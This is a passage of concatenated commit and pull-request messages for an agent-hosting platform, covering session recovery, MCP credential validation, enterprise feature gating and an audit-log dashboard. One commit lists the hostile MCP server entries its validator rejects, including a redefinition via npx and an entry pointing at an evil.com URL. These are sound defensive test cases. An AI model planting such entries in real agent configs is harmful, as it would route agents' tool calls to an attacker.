tool_use + tool_result + final text), boundary discrimination (tool_result must not terminate the user-input search), multi-turn isolation (only the LAST turn's text recovers), genuine-incomplete detection (thinking-only or tool-only turns return None and surface the 502), and robustness (malformed/truncated tail lines, blank lines). Bounded read at 10MB to defend against pathological JSONL sizes; uses existing /home/developer/.claude/projects/-home-developer/ path already known to the cleanup service. Verified end-to-end on the rebuilt agent-base: 7 turns of /session-context-pressure executed cleanly with 3 reader-thread races that drained naturally (none required the new fallback). Recovery is a safety net only; happy-path behavior unchanged. Backend reload not required. Agent-base rebuild + container recreate required to deploy. Backward compat: old images returning no recovered_from_jsonl field default to False. * fix(agent-server): pull compact event detail from JSONL after the turn Bundle B's stdout-side parser detected compact_boundary events but captured them with all-None pre/post/duration/trigger fields — Claude Code's --output-format stream-json strips the compactMetadata envelope on the way out (the JSONL on disk has it, stdout doesn't). Confirmed on the live agent: stored compact_metadata blobs were [{"trigger":null,"pre_tokens":null,"post_tokens":null,...}] while the JSONL contained the canonical shape with real numbers. Add _extract_compact_events_from_jsonl(session_id, since_iso=None) — a short helper modeled after the recovery extractor — that scans the session JSONL post-turn and returns CompactEvent records with the real detail fields. Called in execute_headless_task right before returning, scoped via since_iso to records emitted from a turn-start anchor onward (the JSONL accumulates across the resumed session, so unfiltered would include compacts from prior turns). Detection-only stdout branch is retained as a safety net (count preserved if JSONL read fails) but its log line is removed — the authoritative log line now fires from the JSONL extract with full fields. Effect on existing data: stored compact_metadata blobs from before this commit keep their nulls (no backfill); new turns from now on land with full pre_tokens / post_tokens / duration_ms / trigger / timestamp. Tasks-tab tooltip on the violet "compacted" badge now shows real numbers. 9 new unit tests (20 total in the suite): canonical JSONL shape, since_iso scoping with exclusive and inclusive boundaries, multi- compact ordering, missing/null compactMetadata defensive handling, malformed-line robustness, empty-result paths. Live smoke verified: rebuilt base image, recreated testfix, turn endpoint returns compact_events:[] for non-compacting turns; the existing session a2trktlTnXA9KD- already shows compact_count=1 unchanged. Requires agent-base rebuild + container recreate to deploy. * fix(credentials): strip auto-injected mcpServers.trinity before validating Commit b474520 (sec(mcp): structure-validate .mcp.json content) added RESERVED_SERVER_NAMES = {"trinity"} as a defense against attacker- controlled redefinition of the auto-injected Trinity MCP server entry. But the agent server's inject_trinity_mcp_if_configured() writes mcpServers.trinity into .mcp.json on every agent start where TRINITY_MCP_API_KEY is set — so the file the user loads in the credentials editor always contains it, and every save trips the validator with "MCP server name 'trinity' is reserved by Trinity". Effect on the user: the credentials Save button silently failed for every agent that had been started at least once. Confirmed regression introduced by b474520 — pre-this-branch, .mcp.json went through the inject endpoint with no content validation and the same auto-injected trinity entry was accepted. Fix at the backend: strip mcpServers.trinity from the submitted JSON before it reaches validate_mcp_config. The agent re-injects the canonical trinity entry from env vars on next startup, so the user can't lose it by leaving it out of the saved file. The defense-in- depth value of the reserved-name rule is preserved — an attacker still can't substitute a different shape under the trinity name, because their substitution is dropped before validation rather than rejected. Side benefit: this self-heals corrupted bearer values in the existing trinity entry (e.g. the historical "Bearer sqlite3.IntegrityError: ..." strings written by some long-removed prior code path). The agent overwrites the entry on next start with a fresh value from env. 11 unit tests cover happy path, mixed user+trinity entries, the exact historical corruption shape, no-op cases (no trinity / no servers / no mcpServers), robustness on malformed input (passes through to the validator's own JSON error), and output-shape preservation. Verified end-to-end on testfix: POST /api/agents/testfix/credentials/inject with the corrupted-bearer trinity entry + a context7 entry returns HTTP 200, backend logs the strip, on-disk .mcp.json contains only context7 with the corrupted bearer cleanly removed. Backend reload only — no agent rebuild required. * fix(credentials): allow canonical trinity entry through validator instead of stripping Replaces the strip approach from 705de47 (Option B) with a shape- equivalence check in the validator (Option A) — the strip silently dropped the user's edits to the trinity entry, which broke the legitimate "rotate my MCP API key" flow on agents that don't have the auto-inject env var set to recover the entry on next start. Symptom 705de47 introduced: opening .mcp.json, editing one digit in the trinity Bearer token, clicking Save → backend stripped the entry before validation → on-disk file became {"mcpServers": {}} → user's trinity MCP entry was lost. Fix: keep RESERVED_SERVER_NAMES = {"trinity"} as the closed-shape defense, but special-case it in `_validate_entry`: if the entry under the trinity name matches the canonical Trinity-MCP shape exactly (only `type`, `url`, `headers` keys; `type=http`; `url` matches the configured TRINITY_MCP_URL or the documented default; `headers` contains only `Authorization` with a `Bearer trinity_mcp_…` token), accept it. Otherwise hit the existing reserved-name reject. Strict allowlist on the canonical shape: - exact key set: {type, url, headers} — no extras - type == "http" - url ∈ {TRINITY_MCP_URL env, "http://mcp-server:8080/mcp"} - headers has only Authorization - Authorization matches /^Bearer\s+trinity_mcp_[A-Za-z0-9_-]{1,200}$/ Attacker scenarios still rejected: - stdio redefinition (npx + args) under trinity → reserved - http with evil URL (https://evil.com/mcp) → reserved - canonical url + extra header (X-Custom) → reserved - canonical url + non-Bearer auth → reserved - canonical url + Bearer with non-trinity_mcp_ token → reserved Strip helper and its caller in routers/credentials.py reverted. test_strip_reserved_trinity.py removed (its scenarios now covered by the validator's own tests). 10 new unit tests in test_mcp_validator.py cover the canonical-shape allowance + each rejection variant. 102 total tests in the validator suite — all green. Live verified end-to-end on testfix: - POST /credentials/inject with edited bearer → 200, file updated - POST /credentials/inject with stdio shape → 400 reserved-name - User's original bearer restored after the test * chore(gitignore): exclude saved-conversations/ and tests/manual/ from future stages Both directories are local-only working artifacts (conversation transcripts and the hand-driven testing kit) that should never be pushed. They were already gitignored implicitly by being untracked, but a future ``git add .`` could inadvertently stage them. Listing them in .gitignore makes the exclusion explicit and accident-proof. * feat(session-tab): flip feature flag default to True for GA (#651) Phase 5.3 GA. Session tab is now exposed to users on every fresh install without an admin opt-in step. Resolution order is unchanged: 1. system_settings row 'session_tab_enabled' if present (admin override) 2. SESSION_TAB_ENABLED env var (only honored as opt-out: false/0/no) 3. Default: True Admins who want to keep it hidden can set ``session_tab_enabled = false`` in system_settings or export ``SESSION_TAB_ENABLED=false``. Closes the Phase 5.3 step in #651. * docs: address PR #652 review feedback — requirements, GA status, security section - Add §5.8 Session Tab entry to requirements.md (Rule 4 — new P1 capability must be registered in the single source of truth) - Flip three stale "default off / Phase 5 rollout pending" references in architecture.md, feature-flows.md, and feature-flows/session-tab.md to reflect the GA default-on flag flip from PR #651 - Add ## Security Considerations section to feature-flows/session-tab.md covering 404-not-403 ownership isolation (E6), Redis lock for concurrent --resume (Anthropic #20992), cross-session contamination empirical gate (Anthropic #26964), and JSONL prompt-injection persistence with the Reset memory mitigation Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

Replaces the #847 Phase 0 SSO mock stub with the first concrete enterprise feature: an admin-facing audit log dashboard. Backend (public repo, stays OSS): - New GET /api/audit-log/distinct/event-types - New GET /api/audit-log/distinct/actor-types - Both admin-gated (Depends(require_admin)); populate dashboard filter dropdowns without hardcoding the AuditEventType enum on the frontend. - Registered BEFORE /{event_id} catch-all (invariant #4). Frontend (public OSS bundle, entitlement-gated route): - views/enterprise/Audit.vue — paginated table + filter form + side detail panel. - stores/auditLog.js — domain store (entries, filters, distinct lists, pagination, selectedEntry). Default time window = last 24h. - router/index.js — /enterprise/audit route with meta.requiresEntitlement = 'audit'. - views/enterprise/Index.vue — audit card flipped to Available; SSO card kept as Coming soon. - Login.vue — removed the SSO provider buttons mock. - Deleted views/enterprise/SSO.vue (350-line mock). Submodule (trinity-enterprise): - register_module("audit") replaces register_module("sso"). - Deleted backend/sso/{router,providers,__init__}.py. - See trinity-enterprise#feature/941-audit-registration. Entitlement model: backend stays OSS (audit_log endpoints predate the seam via SEC-001 / #20 — retroactive gating would break OSS admins). Only the OSS-side dashboard route is enterprise-gated. Tests: - New tests/unit/test_847_audit_dashboard.py (6 cases): distinct DB ops, router ordering invariant, admin gate, no-entitlement-gate pin. - Updated test_847_entitlement_seam.py: 'sso' → 'audit' assertions, new submodule static check. - New e2e/audit-dashboard.spec.js (Playwright, 4 cases). Docs: - audit-trail.md — Phase 5 row + Frontend Layer section. - enterprise-modules.md — current-state note + audit registration code. - architecture.md — distinct endpoints added to audit-log table. PR #910 scope expands to close both #847 (seam) and #941 (dashboard). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

…ldable card (#941 v3) Adds two new admin-only audit-log endpoints and a unified foldable Activity card on the dashboard. Backend (OSS — same pattern as the existing /stats and /distinct/*): - GET /api/audit-log/heatmap — sparse 7×24 dow×hour grid - GET /api/audit-log/calendar — sparse per-day list (GitHub-style) Both honor start_time / end_time / event_type / actor_type so the two views stay coherent with the table + stats under drill-down. Frontend (OSS, entitlement-gated by 'audit'): - Single foldable Activity card with Weekly | Calendar tabs - v-show keeps both heatmaps mounted — tab swap is instant - Calendar cell click → drilldownToDay(date) narrows the dashboard to one UTC day and reloads list + stats + both heatmaps together Tests: +8 unit tests covering bucketing, filter pass-through, router ordering vs /{event_id} catch-all (invariant #4), empty-window contract. Full suite: 14 pass. Docs: architecture.md endpoint table + audit-trail.md Phase 5 v3 / v3.1 rows + endpoint descriptions + test catalog. Related to #941. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

@smoke

…#910) * feat(enterprise): private submodule + EntitlementService seam + SSO PoC (#847 Phase 0) Issue #847 spike. Establishes the open-core split between the public Trinity backend and a private companion repo `Abilityai/trinity-enterprise` that ships compliance-gating features (SSO, SCIM, SIEM) without merging them into the public codebase. The spike research is in `docs/planning/OSS_ENTERPRISE_SPLIT_RESEARCH.md` (521 lines, six load-bearing decisions, stress-tested against eight other open issues). The condensed decision record is `docs/planning/ENTERPRISE_ARCHITECTURE.md`. What lands in this PR (Phase 0): Public-repo seam (the integration mechanism): * `src/backend/services/entitlement_service.py` — `EntitlementService` Phase 0 stub. Returns True for every `is_entitled(feature_id)` check unless `TRINITY_OSS_ONLY=1` env is set, in which case every check flips False. Module-level singleton + `_set_for_testing` test seam. * `src/backend/dependencies.py:requires_entitlement(feature_id)` — FastAPI dependency factory mirroring `require_role`. Raises HTTP 403 naming the missing feature so the UI can surface a "license required" toast. Lazy-imports the service so tests can swap singletons. * `src/backend/main.py` — conditional `try: from enterprise import register_enterprise except ImportError`. Loaders mounted under `/api/enterprise/*` when the submodule is present; OSS-only builds log an informational message and continue. Idempotent via `app.state.enterprise_registered`. * `src/backend/routers/settings.py` — `/api/settings/feature-flags` extended with `enterprise_features: list[str]`. Drives UI tab visibility. * `.gitmodules` + new submodule mount at `src/backend/enterprise` pointing to the private repo via SSH. * `docker-compose.yml` env pass-through for `TRINITY_OSS_ONLY`. * `.github/workflows/build-without-submodule.yml` — boots the backend without the enterprise submodule and asserts `/health` responds, `/api/settings/feature-flags` returns `enterprise_features: []`, `/api/enterprise/sso/providers` returns 404, and the OSS-only log line is emitted. Catches regressions where the conditional import becomes hard-required. Private-repo PoC content (in `Abilityai/trinity-enterprise`, mounted at `src/backend/enterprise/`): * `__init__.py` — `register_enterprise(app)` single entry point. * `sso/router.py` — `/api/enterprise/sso/{providers,login/{id}}` stubs. `GET /providers` returns the in-process registry (empty by default); `POST /login/{id}` returns 501 "PoC stub" or 404 for unknown id. Both gated by `requires_entitlement("sso")` with a lazy-import fallback so the private repo tests in isolation. * `sso/providers.py` — `SSOProvider` ABC + `StubProvider`. Tests (`tests/unit/test_847_entitlement_seam.py`, 14 cases): * EntitlementService default + TRINITY_OSS_ONLY deny path * Parametrised truthy/falsy env spellings * `requires_entitlement` allow/deny (skip-on-no-passlib for local) * `_set_for_testing` singleton swap * Static check that main.py uses conditional ImportError guard Docs: * `docs/planning/ENTERPRISE_ARCHITECTURE.md` — condensed decision * `docs/planning/OSS_ENTERPRISE_SPLIT_RESEARCH.md` — long-form research * `docs/dev/ENTERPRISE_LOCAL_DEV.md` — 15-min clone-to-running guide * `docs/memory/requirements.md` §34.1 Live verification (local instance): * Submodule mounted at `src/backend/enterprise/` * `GET /api/enterprise/sso/providers` → `[]` * `GET /api/settings/feature-flags` → `enterprise_features: ["sso","scim","siem"]` * `POST /api/enterprise/sso/login/foo` → HTTP 404 "Unknown SSO provider 'foo'" * With `TRINITY_OSS_ONLY=1`: `/api/enterprise/sso/providers` returns 403 "Enterprise feature 'sso' is not licensed", `enterprise_features: []` * Restored default: re-entitled Out of scope (separate follow-up issues): * Phase 1: Ed25519-signed license token + verify path + admin License UI * Phase 2: extract `audit_log` into the submodule as first real enterprise module * Phase 3: prove "core-primitive + enterprise-knob" pattern via #834 * Phase 4: real SSO/SAML implementation (replaces PoC stubs) * MCP entitlement edge for the TypeScript MCP server * Fix repo license-of-record (currently NOASSERTION) — owner decision Related to #847 Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(enterprise): dual-mount submodule + frontend SSO view (#847 Phase 0.5) Add the frontend half of the enterprise seam. The private repo `Abilityai/trinity-enterprise` was restructured into `backend/` and `frontend/` subdirs, and the public repo now mounts it as TWO submodules at different paths — same URL, different mount points — so each consumer reads only its own subdir: src/backend/enterprise/ → backend/ consumed by Python (`main.py`) src/frontend/src/enterprise/ → frontend/ consumed by Vite (`main.js`) One private codebase to version; two clean import surfaces. Disk waste is ~2× the repo size (the same code cloned twice) which is far cheaper than two private repos drifting out of sync. Changes: Backend (import path bump): * `src/backend/main.py` — `from enterprise.backend import register_enterprise` (was `from enterprise import ...`). * `tests/unit/test_847_entitlement_seam.py` — static-check asserts the new import path. Frontend (new): * `src/frontend/src/main.js` — conditional `import.meta.glob('./enterprise/frontend/index.js', { eager: false })`. Empty in OSS-only builds; calls `mod.registerEnterprise(router, app)` when present. Logs which mode it's in. * `src/frontend/src/stores/enterprise.js` — new Pinia store. Loads `/api/settings/feature-flags` after auth, caches `enterprise_features: list[str]`. Getters: `isEntitled(featureId)`, `hasAnyEnterprise`. Test seam `_setFeaturesForTest`. * `src/frontend/src/components/NavBar.vue` — new `Enterprise` link `v-if="enterpriseStore.isEntitled('sso')"` with `PRO` badge. Hidden in OSS-only mode and when `TRINITY_OSS_ONLY=1`. Submodule: * `.gitmodules` — second entry at `src/frontend/src/enterprise/` for the same private repo URL. CI: * `.github/workflows/build-without-submodule.yml` — asserts BOTH mount points are empty (`backend/__init__.py` AND `frontend/index.js`) and that the OSS-only log line + 404 + empty `enterprise_features` invariants hold. Docs: * `docs/planning/ENTERPRISE_ARCHITECTURE.md` — directory tree + why one repo + dual-mount config + frontend seam description. * `docs/dev/ENTERPRISE_LOCAL_DEV.md` — three-submodule table, "working on the enterprise repo" steps for dual-mount sync. * `docs/memory/requirements.md` §34.1 — frontend integration in Key Features + private-repo layout. Private repo content (Abilityai/trinity-enterprise) restructured in a sibling commit (`refactor: split backend/ and frontend/ subdirs`): * `backend/__init__.py` + `backend/sso/` — was at repo root. * `frontend/index.js` — `registerEnterprise(router, app)`. Adds the `/enterprise/sso` route pointing at `EnterpriseSSO.vue`. * `frontend/views/EnterpriseSSO.vue` — Vue component. Fetches `/api/enterprise/sso/providers` via the public repo's shared `api.js`. Empty-state UI with the issue link. Live verification (local instance): * `/api/enterprise/sso/providers` → `[]` (backend still works after import path change). * Vite serves `/src/enterprise/frontend/index.js` (200) and `/src/enterprise/frontend/views/EnterpriseSSO.vue` (200) with the `api.js` import resolved to `/src/api.js`. * `import.meta.glob` returns a populated object → enterprise module loaded → `[enterprise] frontend module loaded` console log. Tests: 12 passed + 2 skipped (no-passlib local). No new test surface for the frontend store/component — playwright e2e would catch regressions but is out of scope for this Phase 0.5. Related to #847 Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * refactor(enterprise): frontend in OSS, EntitlementService registry (#847) Reframe the open-core boundary: enterprise FRONTEND lives in the public OSS bundle and is gated server-side via the `enterprise_features` feature-flag. Only the private backend stays behind the submodule. Vue components have no algorithmic IP — the moat is the private backend logic (license verify, SAML signature checks, OAuth flows). This collapses the previous "dual-mount" complexity (same private repo at two mount points) back to a single submodule mount, and matches the existing feature-flag pattern (`session_tab_enabled`, `voice_available`). Trade-off accepted: enterprise Vue source is readable by anyone with the public repo, but the static UI files are not the load-bearing IP. The new closure mechanism is the EntitlementService **registry**: - Each enterprise backend module calls `entitlement_service.register_module(feature_id)` on boot. - `list_entitled_features()` returns the registered set (sorted). - OSS-only builds never call `register_module` → empty set → `enterprise_features: []` → OSS frontend hides every enterprise surface. - `TRINITY_OSS_ONLY=1` is a hard override (denies even when modules ARE registered). Closes three Phase-0 issues: 1. OSS users no longer see broken "Enterprise" nav — registry is empty without the submodule, feature-flag empty, NavBar hides. 2. Adding non-SSO features (SCIM, SIEM) is now additive: ship Vue file in OSS, add backend module, call `register_module(id)`. 3. Login-page SSO button extension point is straightforward — same pattern: OSS Login.vue reads the providers list from a backend API when entitled (out of scope for this PR, but the seam exists). Changes: Public repo: * `src/backend/services/entitlement_service.py` — replaces hardcoded `["sso","scim","siem"]` with a registry. `register_module(id)`, `is_entitled(id)`, `list_entitled_features()` all read from the set. Idempotent registration. TRINITY_OSS_ONLY=1 still hard- overrides everything. * `src/frontend/src/views/enterprise/SSO.vue` (new) — Vue PoC view, moved from the private repo's `frontend/views/EnterpriseSSO.vue`. Same UI; api.js import path adjusted to the OSS location (`../../api`). * `src/frontend/src/router/index.js` — static route entry for `/enterprise/sso` with `meta.requiresEntitlement: 'sso'`. `beforeEach` guard checks the entitlement store before navigation; redirects to `/` when not entitled (defence-in-depth against direct URL visits). * `src/frontend/src/main.js` — drops the `import.meta.glob('./enterprise/frontend/...')` block. Routes are static now. * `.gitmodules` — removes the `src/frontend/src/enterprise/` submodule entry. Only `src/backend/enterprise/` remains. * `src/frontend/src/enterprise` (submodule pointer) — deleted. * CI workflow `build-without-submodule.yml` — checks only the single backend mount; OSS-only frontend Vue files still bundle. * Docs (architecture, local-dev, requirements §34.1) — updated structure diagram, rationale, mount layout. * Tests (`test_847_entitlement_seam.py`) — registry contract: empty-by-default denies, `register_module` enables, idempotent. Updated allow-path test to `register_module("sso")` before asserting. Private repo (sibling commit, not in this PR): * `frontend/` subdir removed (moved to OSS). * `backend/__init__.py` now calls `entitlement_service.register_module("sso")` after mounting the SSO router. Live verification (local): * Default mode: `GET /api/settings/feature-flags` → `enterprise_features: ["sso"]` (only registered modules). `GET /api/enterprise/sso/providers` → `[]`. Enterprise nav link visible. * `TRINITY_OSS_ONLY=1`: `enterprise_features: []`, `GET /api/enterprise/sso/providers` → 403, nav link hidden. * Restored default — re-entitled. Tests: 13 passed + 2 skipped (no-passlib local). Related to #847 Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(enterprise): SSO admin UI mock + Login page provider buttons (#847) PoC enhancement to make the SSO surface demo-realistic. Backend seeds two mock providers (Okta + Azure AD) and exposes three new read endpoints (claim-mapping, session-policy) the OSS admin page renders. All action buttons remain disabled with tooltips pointing at issue #847 — no real OIDC/SAML implementation yet. Public repo changes (this commit): * `src/frontend/src/views/enterprise/Index.vue` (new) — Enterprise catalogue landing page. Cards layout with status badges (SSO Available; SCIM/SIEM/License/Audit "Coming soon"). Linked from NavBar's `Enterprise` link. * `src/frontend/src/views/enterprise/SSO.vue` (rewrite) — full admin UI: - Header with "+ Add provider" button (opens modal) - Configured providers list with protocol badge, enabled/disabled indicator, issuer/metadata URL, last-login timestamp, and disabled Test/Edit/⋮ actions per row - Identity → Role Mapping table (4 rules: trinity-admins→admin, trinity-developers→creator, trinity-readonly→user, fallback) - Session Policy panel (force-SSO checkbox, session lifetime, admin-reauth checkbox — all disabled) - Add provider modal: protocol radio (OIDC/SAML), display name, provider ID, issuer URL, client ID/secret, scopes, callback URL with Copy button, enabled-on-save toggle, Cancel + Save buttons (Save disabled) * `src/frontend/src/views/Login.vue` — adds an "or sign in with" section under the email form when SSO providers are reachable. Fetches /api/enterprise/sso/providers unauthenticated (endpoint is gated by entitlement, not by user auth, so the pre-login page can call it). Two stub buttons render: "Continue with Okta" / "Continue with Azure AD". Both disabled with tooltip. * `src/frontend/src/router/index.js` — landing route + per-feature routes with two gate modes: - `meta.requiresAnyEntitlement` for the catalogue landing - `meta.requiresEntitlement: '<id>'` for per-feature pages Guard bounces non-entitled feature visits to /enterprise (when any feature is entitled) or / (otherwise). * `src/frontend/src/components/NavBar.vue` — link points at the catalogue landing (`/enterprise`). `v-if` uses `hasAnyEnterprise` so the Enterprise nav entry shows whenever any enterprise feature is registered. * `src/backend/enterprise` (submodule bump) — pulls in private repo's `feat(sso): seed PoC providers + claim-mapping + session-policy endpoints` (commit 3e90ddc). Live verification: - Default (submodule mounted): * `/api/enterprise/sso/providers` → 2 providers * `/api/enterprise/sso/claim-mapping` → 4 rules * `/api/enterprise/sso/session-policy` → SessionPolicy defaults * `/enterprise` landing renders 5 cards (SSO available, others "Coming soon") * `/enterprise/sso` renders full admin UI with all buttons disabled * `/login` shows "Continue with Okta/Azure AD" buttons under email form - `TRINITY_OSS_ONLY=1`: providers endpoint 403, NavBar enterprise link hidden, Login SSO buttons hidden. Related to #847 Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(ci): lint + first-time-setup wiring for build-without-submodule Two CI issues from the previous push: 1. `lint (sys.modules pollution check)` — 6 bare `del sys.modules[...]` calls in `test_847_entitlement_seam.py` exceeded baseline (`tests/lint_sys_modules.py` requires either `monkeypatch.delitem(sys.modules, ..., raising=False)` or the sanctioned `_STUBBED_MODULE_NAMES` pattern). Replaced all six with `monkeypatch.delitem` so the auto-restore on teardown also stops the test from leaking stale module imports into sibling tests. `_import_requires_entitlement_or_skip` helper now takes `monkeypatch` as a parameter so the pattern works from inside the helper too. 2. `backend boots without enterprise submodule` — `/api/token` returned 403 on a fresh DB because `is_setup_completed()` (in `routers/auth.py:212`) gates admin login behind first-time setup, which the previous workflow didn't complete. Added a new "Complete first-time setup" step that: - greps the setup token from `docker logs trinity-backend` (the token is printed to stdout at boot per `main.py:336-343`, gated on `setup_completed != true`) - POSTs to `/api/setup/admin-password` with the setup_token + password + confirm_password fields (schema in `routers/setup.py:28-32`) Replaced the hex `ADMIN_PASSWORD` with a known-strong value that meets the OWASP ASVS 2.1 complexity check the setup endpoint enforces (length 12+, upper, lower, digit, special). Also dropped the Bearer auth from the "SSO router not mounted" assertion — the `/api/enterprise/sso/*` router is entitlement-gated, not user-gated, so the unauthenticated 404 check still proves the conditional import correctly skipped the mount. Tests: 13 passed + 2 skipped locally (no-passlib). Lint: clean against baseline. Related to #847 Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(ci): complete setup via docker exec, not API grep The print() in main.py:336-343 that emits the setup token to stdout is Python-block-buffered when stdout is a pipe (docker logs capture), so the grep on a short timing window after /health returns OK is unreliable. The previous attempt extracted an empty SETUP_TOKEN and failed. Bypass the API entirely: docker exec into the backend container and write directly to the DB using the same helpers the production endpoint uses (dependencies.hash_password + db.set_setting + db.update_user_password). The flow: - set system_settings.setup_completed = 'true' - hash ADMIN_PASSWORD via the production helper - update admin user's password_hash The password is passed via docker -e to avoid shell quoting issues with the OWASP-compliant value (contains !). Verified locally: docker exec into trinity-backend, the python snippet runs cleanly and the bcrypt warning visible in CI logs is benign (passlib version mismatch, doesn't break hashing). Related to #847 * fix: print enterprise registration status instead of logger.info The enterprise conditional-import block in main.py runs at module init, which is BEFORE `lifespan` calls `setup_logging()`. Default Python logging is at WARNING level, so `logger.info(...)` records are silently dropped — neither the registered nor the OSS-only log line appeared in docker logs, breaking the CI workflow that greps for them. Switch to `print(..., flush=True)` so the output goes to stdout regardless of logger state. docker logs captures it (operators see the boot mode), and the build-without-submodule CI workflow's grep succeeds. Verified locally: `docker logs trinity-backend | grep 'Trinity Enterprise'` now shows the registered/OSS-only line. Related to #847 * fix(tests): widen except-ImportError search window in main.py static check The latest main.py commit (print(flush=True) + rationale comment) pushed `except ImportError` past the 400-char window the test was using to verify the conditional import is guarded. Widen to 1500 to absorb future small additions without breaking the static check, which is guarding the GUARD shape (try/except), not its byte position. Related to #847 * docs: enterprise modules feature flow with code links Walk-through of how the open-core split works at runtime: - boot chain (conditional import → register_enterprise → registry) - request-time gating (feature-flags endpoint, requires_entitlement) - frontend wiring (Pinia store, NavBar, route guard, Login.vue, Vue views) - failure modes (OSS-only, TRINITY_OSS_ONLY=1) - adding a new enterprise feature recipe - test surfaces + CI All sections link to file:line in the public repo and the private trinity-enterprise repo on GitHub. Complements ENTERPRISE_ARCHITECTURE.md (the 'why') and ENTERPRISE_LOCAL_DEV.md (15-min onboarding) with the 'how' at the code level. Related to #847 * feat(audit): enterprise audit log dashboard (#941) + remove SSO PoC Replaces the #847 Phase 0 SSO mock stub with the first concrete enterprise feature: an admin-facing audit log dashboard. Backend (public repo, stays OSS): - New GET /api/audit-log/distinct/event-types - New GET /api/audit-log/distinct/actor-types - Both admin-gated (Depends(require_admin)); populate dashboard filter dropdowns without hardcoding the AuditEventType enum on the frontend. - Registered BEFORE /{event_id} catch-all (invariant #4). Frontend (public OSS bundle, entitlement-gated route): - views/enterprise/Audit.vue — paginated table + filter form + side detail panel. - stores/auditLog.js — domain store (entries, filters, distinct lists, pagination, selectedEntry). Default time window = last 24h. - router/index.js — /enterprise/audit route with meta.requiresEntitlement = 'audit'. - views/enterprise/Index.vue — audit card flipped to Available; SSO card kept as Coming soon. - Login.vue — removed the SSO provider buttons mock. - Deleted views/enterprise/SSO.vue (350-line mock). Submodule (trinity-enterprise): - register_module("audit") replaces register_module("sso"). - Deleted backend/sso/{router,providers,__init__}.py. - See trinity-enterprise#feature/941-audit-registration. Entitlement model: backend stays OSS (audit_log endpoints predate the seam via SEC-001 / #20 — retroactive gating would break OSS admins). Only the OSS-side dashboard route is enterprise-gated. Tests: - New tests/unit/test_847_audit_dashboard.py (6 cases): distinct DB ops, router ordering invariant, admin gate, no-entitlement-gate pin. - Updated test_847_entitlement_seam.py: 'sso' → 'audit' assertions, new submodule static check. - New e2e/audit-dashboard.spec.js (Playwright, 4 cases). Docs: - audit-trail.md — Phase 5 row + Frontend Layer section. - enterprise-modules.md — current-state note + audit registration code. - architecture.md — distinct endpoints added to audit-log table. PR #910 scope expands to close both #847 (seam) and #941 (dashboard). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * docs(security): CSO --diff report for #941 audit dashboard No critical or high findings. 3 low-severity stale-doc items, already deferred during /review (I3). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * docs(audit): sync feature-flows index + add Phase 5 tests section (#941) audit-trail.md: document the new test_847_audit_dashboard.py cases + Playwright audit-dashboard.spec.js coverage. feature-flows.md index: bump audit-trail row to Phase 5 (dashboard), update Phases 1–4 row to "Merged" rather than "to follow". Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(audit-dashboard): stats tiles, time presets, drill-down, verify, export (#941 v2) Expands the v1 dashboard from "viewer" to "review tool" using only existing backend endpoints — zero backend changes. Added: - Stats tiles header (Total / Top event_type / Top actor_type / Time window). Backed by GET /api/audit-log/stats; same time-window semantics as the table. Top-event/Top-actor tiles are clickable drill-downs. - Time preset chips (Last 1h / 24h / 7d / 30d / All time). Manual edits to the time fields flip the active chip to "Custom". - Inline cell drill-down: clicking an event_type cell sets that filter; clicking the actor cell filters by actor_id (or actor_type fallback). Stops row-click propagation so the side panel still opens elsewhere on the row. - Hash-chain verify badge in header. Manual button to verify the visible id range via POST /api/audit-log/verify; pill turns green ✓ on success or red ✗ with the first-invalid id on failure. - Export buttons (CSV / JSON) in the filter footer. Uses fetch + Blob + object URL so we can attach the JWT (a plain <a href> can't). Filename: audit-log-{iso-timestamp}.{ext}. Store additions: - stats / statsLoading + loadStats() - verifyState / verifyResult + verifyChain() - exporting + downloadExport(format) - activePreset + applyTimePreset(key) - drilldownFilter(key, value) helper Tests: - 2 new Playwright @smoke cases (preset chip click, event_type drill-down). Existing 4 cases unchanged. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(audit-dashboard): dow×hour + GitHub-style calendar heatmaps + foldable card (#941 v3) Adds two new admin-only audit-log endpoints and a unified foldable Activity card on the dashboard. Backend (OSS — same pattern as the existing /stats and /distinct/*): - GET /api/audit-log/heatmap — sparse 7×24 dow×hour grid - GET /api/audit-log/calendar — sparse per-day list (GitHub-style) Both honor start_time / end_time / event_type / actor_type so the two views stay coherent with the table + stats under drill-down. Frontend (OSS, entitlement-gated by 'audit'): - Single foldable Activity card with Weekly | Calendar tabs - v-show keeps both heatmaps mounted — tab swap is instant - Calendar cell click → drilldownToDay(date) narrows the dashboard to one UTC day and reloads list + stats + both heatmaps together Tests: +8 unit tests covering bucketing, filter pass-through, router ordering vs /{event_id} catch-all (invariant #4), empty-window contract. Full suite: 14 pass. Docs: architecture.md endpoint table + audit-trail.md Phase 5 v3 / v3.1 rows + endpoint descriptions + test catalog. Related to #941. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(ci): sys-modules lint + OSS-only skip for audit dashboard e2e (#941) Two CI fixes on PR #910: 1. Lint (sys.modules pollution): the audit-dashboard fixture had three bare sys.modules writes that exceeded the per-file baseline. Routed them through monkeypatch.setitem / monkeypatch.delitem so the baseline diff goes from +3 → 0. 2. Audit dashboard e2e suite was hard-coded to fail when the private enterprise submodule isn't checked out (the default on PR-time CI without a deploy-key secret). Added a per-test skip that probes for the Enterprise nav and skips the suite cleanly when absent. The route-guard / nav-hiding behavior in OSS-only mode is already covered by the unit tests in tests/unit/test_847_audit_dashboard.py. The api-keys-copy.spec.js failures in the same e2e run are a pre-existing modal-overlay flake unrelated to #941 — touched outside this PR. Related to #941. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(deploy): enterprise overlay so dev VM ships audit dashboard (#847) The Deploy-to-Dev workflow currently bypasses the enterprise submodule entirely: it 